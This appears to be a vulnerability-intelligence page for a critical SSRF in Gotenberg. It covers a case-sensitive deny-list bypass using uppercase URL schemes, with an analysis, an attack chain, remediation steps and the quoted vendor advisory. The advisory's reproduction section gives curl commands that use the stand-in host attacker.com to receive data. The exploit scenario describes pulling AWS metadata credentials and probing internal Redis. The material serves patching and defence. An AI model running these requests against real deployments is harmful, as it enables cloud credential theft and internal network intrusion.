Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify Gotenberg instance
-
DeliveryCraft conversion request with uppercase-scheme URL in webhook/downloadFrom
-
ExploitBypass case-sensitive deny-list regex
-
ExecutionGotenberg normalizes scheme and connects to internal target
-
PersistExfiltrate response via webhook callback or PDF content
-
ImpactExtract credentials/data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the Gotenberg instance to be network-reachable by the attacker (AV:N) and to have one of two features enabled: (1) webhook functionality (default in 8.x, triggered by setting Gotenberg-Webhook-Url header in Chromium conversion requests) or (2) downloadFrom functionality (triggered by passing downloadFrom JSON array in HTML/URL/Markdown conversion requests). The vulnerability exists in default configurations using the built-in deny-lists defined in pkg/modules/webhook/webhook.go:42 and pkg/modules/api/api.go:199; instances with custom --webhook-deny-list or --api-download-from-deny-list using case-insensitive regex ((?i) flag) are not vulnerable. No authentication is required (PR:N), and the instance does not need to be configured in any non-default mode beyond having webhook or downloadFrom features invoked. Limiting factors: (1) The Gotenberg instance must have network routes to the target internal IP ranges (127.0.0.0/8, RFC1918, link-local) or cloud metadata endpoint; instances deployed in isolated VPCs/VLANs with strict egress firewall rules blocking private IP ranges have reduced attack surface. (2) For cloud metadata exfiltration, the cloud provider's metadata service must be accessible (AWS IMDSv1, GCP metadata server without Metadata-Flavor header requirement). (3) For webhook-based exploitation, the attacker must control a domain/IP to receive the exfiltrated data via the Gotenberg-Webhook-Events-Url callback. Exploitation of downloadFrom does not require a callback server; the SSRF response is included inline in the returned PDF. Docker deployments using default Docker bridge networking (172.17.0.0/16) are at highest risk for internal service scanning. No user interaction required (UI:N). |
| Impact | Real-world risk is Critical for Gotenberg deployments in cloud or containerized environments with default configurations. CVSS 9.1 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) accurately reflects the attack surface: network-reachable API requiring no authentication, low complexity (simple case-variation), Changed Scope (access to resources outside Gotenberg's trust boundary), High Confidentiality impact (internal service responses, cloud metadata), and Low Integrity impact (potential data manipulation via webhook callbacks). EPSS data not provided, but the combination of public exploit code in the advisory (curl commands demonstrating bypass), default-vulnerable configuration (deny-lists are opt-out, not opt-in), and high deployment prevalence in Docker environments elevates practical risk. SSRF to cloud metadata services (AWS IMDSv1 at 169.254.169.254) can yield IAM credentials and instance identity documents. The vulnerability is NOT in CISA KEV at time of analysis, suggesting no confirmed widespread exploitation, but the low attack complexity and publicly documented PoC make exploitation trivial once an attacker identifies a Gotenberg instance. Key risk amplifier: this is a regression of CVE-2026-27018, indicating process failure in secure development practices (the fix for one deny-list was not applied to newly added deny-lists). Mitigating factor: exploitation requires the victim Gotenberg instance to have network routes to the target internal resources; firewalled instances with no egress to RFC1918 or link-local ranges have reduced exposure. SSVC decision: Exploitation=PoC (public), Automatable=Yes (no user interaction), Technical Impact=Partial (confidentiality+limited integrity). Priority: Immediate patching for cloud/container deployments, scheduled for isolated on-premise instances without cloud metadata access. |
| Exploit ScenarioDerived | An attacker identifies a publicly exposed Gotenberg instance (version ≤8.30.1) via Shodan or application fingerprinting. They craft a POST request to /forms/chromium/convert/url with Gotenberg-Webhook-Url: HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/instance-role (uppercase scheme bypasses deny-list). Gotenberg's FilterDeadline passes the URL (regex mismatch), the webhook module attempts HTTP delivery, and Go's HTTP client normalizes the scheme to lowercase and connects to the AWS metadata service. The metadata service responds with IAM temporary credentials in JSON format, which Gotenberg POSTs to the attacker-controlled Gotenberg-Webhook-Events-Url, exfiltrating the credentials. Alternatively, the attacker uses downloadFrom with HTTP://172.17.0.1:6379/ to probe Redis on the Docker bridge network; if Redis responds, its output is embedded in the generated PDF and returned to the attacker. Public PoC exists in the GitHub advisory with exact curl commands. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 30, 2026
Gotenberg versions up to 8.30.1 allow Server-Side Request Forgery (SSRF) against internal networks and cloud metadata endpoints via case-variation bypass of webhook and downloadFrom deny-lists. Remote unauthenticated attackers can use uppercase URL schemes (HTTP://, HTTPS://) to circumvent the default case-sensitive regex (^https?://) protecting private IP ranges; Go's net/url.Parse() normalizes schemes to lowercase during connection establishment, completing the bypass. The flaw affects two features added in commit 3f01ca1 (April 2026): webhook callback URLs and downloadFrom file fetching. Vendor-released patch version 8.31.0 available. CVSS 9.1 (Critical) with Changed Scope reflects potential access to instance metadata services (e.g., AWS 169.254.169.254) and internal APIs that return sensitive data in Content-Disposition headers. This is a regression of the pattern previously fixed in CVE-2026-27018 for the Chromium deny-list.
RemediationAI
Upgrade to Gotenberg 8.31.0 or later immediately. Docker users should pull gotenberg/gotenberg:8.31.0 or gotenberg/gotenberg:latest and redeploy containers (note: thecodingmachine/gotenberg images are discontinued per release notes). Version 8.31.0 introduces breaking changes including DNS resolution and IP validation before outbound requests, pinning connections to validated public IPs to prevent DNS rebinding, and defaulting --webhook-deny-list to block RFC1918/loopback/link-local ranges. If immediate patching is not feasible, apply the following compensating controls: (1) Use custom --webhook-deny-list and --api-download-from-deny-list regex patterns with case-insensitive flag, e.g., --webhook-deny-list='(?i)^https?://(127\.0\.0\.1|localhost|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)' to explicitly block private ranges; trade-off is increased configuration complexity and potential for regex errors. (2) Deploy network egress filtering at the firewall/security-group level to block outbound connections from Gotenberg containers to 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and fc00::/7; this defense-in-depth layer prevents exploitation even if application-level validation is bypassed, but does not protect against SSRF to localhost services on the Gotenberg container itself. (3) In AWS/GCP/Azure, enforce IMDSv2 (session-token-required metadata access) to limit metadata exfiltration; this reduces impact but does not prevent the SSRF. Workarounds are partial mitigations only; the patch is the authoritative fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gotenberg is a Docker-based document conversion API written in Go, commonly deployed in containerized environments with access to Docker bridge networks (172.17.0.0/16 by default). The vulnerability exploits a mismatch between deny-list validation (case-sensitive regex matching in pkg/gotenberg/filter.go:FilterDeadline) and URL handling (Go's net/url.Parse normalizes schemes to lowercase before DNS resolution and TCP dial). The default deny-lists in pkg/modules/webhook/webhook.go:42 and pkg/modules/api/api.go:199 use the regex ^https?://, which only matches lowercase 'http' or 'https'. When an attacker supplies HTTP://172.17.0.1, the regex fails to match, the URL passes validation, and Parse() subsequently converts it to http://172.17.0.1 for the outbound connection. CWE-918 (SSRF) arises because the application makes HTTP requests to attacker-controlled URLs without proper validation against internal address spaces. The affected pkg:go/github.com_gotenberg_gotenberg_v8 package is the main Gotenberg server. This is a textbook normalization inconsistency vulnerability: defense logic applies one interpretation of the input while the downstream consumer (HTTP client) applies a different, normalized interpretation.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
Primary rating from Vendor (https://github.com/gotenberg/gotenberg).
CVSS VectorVendor: https://github.com/gotenberg/gotenberg
Lifecycle Timeline
3DescriptionCVE.org
Vulnerability Details
CWE: CWE-918 - Server-Side Request Forgery (SSRF)
The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.
Summary
The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.
The same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.
Affected file/function: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42 (default regex), pkg/modules/api/api.go:199 (default regex)
Steps to Reproduce
1. Start Gotenberg:
docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8
2. Baseline - lowercase http:// is blocked (HTTP 403):
curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
-H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
-H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
-F "url=https://example.com/"
3. Bypass - uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):
curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
-H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
-H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
-F "url=https://example.com/"
# Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused"
4. downloadFrom bypass (response content included in PDF):
curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
-F 'files=@/dev/stdin;filename=index.html;type=text/html' \
-F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>'
# Error is "Unable to download file" (connection refused), not "filter URL" - bypass confirmedImpact
An unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The downloadFrom SSRF can exfiltrate content from internal services that respond with Content-Disposition headers. In cloud environments, this could allow access to instance metadata services (e.g., HTTP://169.254.169.254/latest/meta-data/). This bypasses the same security control that was patched in CVE-2026-27018.
Fix
Normalize the URL scheme to lowercase before passing to FilterDeadline, or compile deny-list regexes with the case-insensitive flag ((?i)).
Vulnerable Code
// See description for detailsSteps to Reproduce
- Set up the application using the default configuration
- See the vulnerability details above
Impact
This vulnerability may allow an attacker to compromise the application.
Executive ViewAI
Gotenberg versions 8.30.1 and earlier contain a critical Server-Side Request Forgery (SSRF) vulnerability that allows unauthenticated attackers to bypass security controls and access internal networks and cloud metadata services. Organizations using Gotenberg for document conversion or file handling face immediate risk of unauthorized access to sensitive infrastructure, including AWS metadata endpoints and internal APIs, potentially exposing credentials and configuration data.
Vendor-released patch: version 8.31.0. Interim mitigations if immediate patching is impossible: (1) Disable webhook and downloadFrom features if not required for operations; (2) Implement network-level controls to block Gotenberg egress to 169.254.169.254 and other internal metadata endpoints; (3) Apply Web Application Firewall rules to reject requests with uppercase URL schemes (HTTP://, HTTPS://) at application or reverse-proxy layer; (4) Restrict Gotenberg process permissions and network access via OS-level isolation.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-27476
GHSA-5q7p-7jgv-ww56
NVD
CVE.org
EPSS
VulDB
Exploit-DB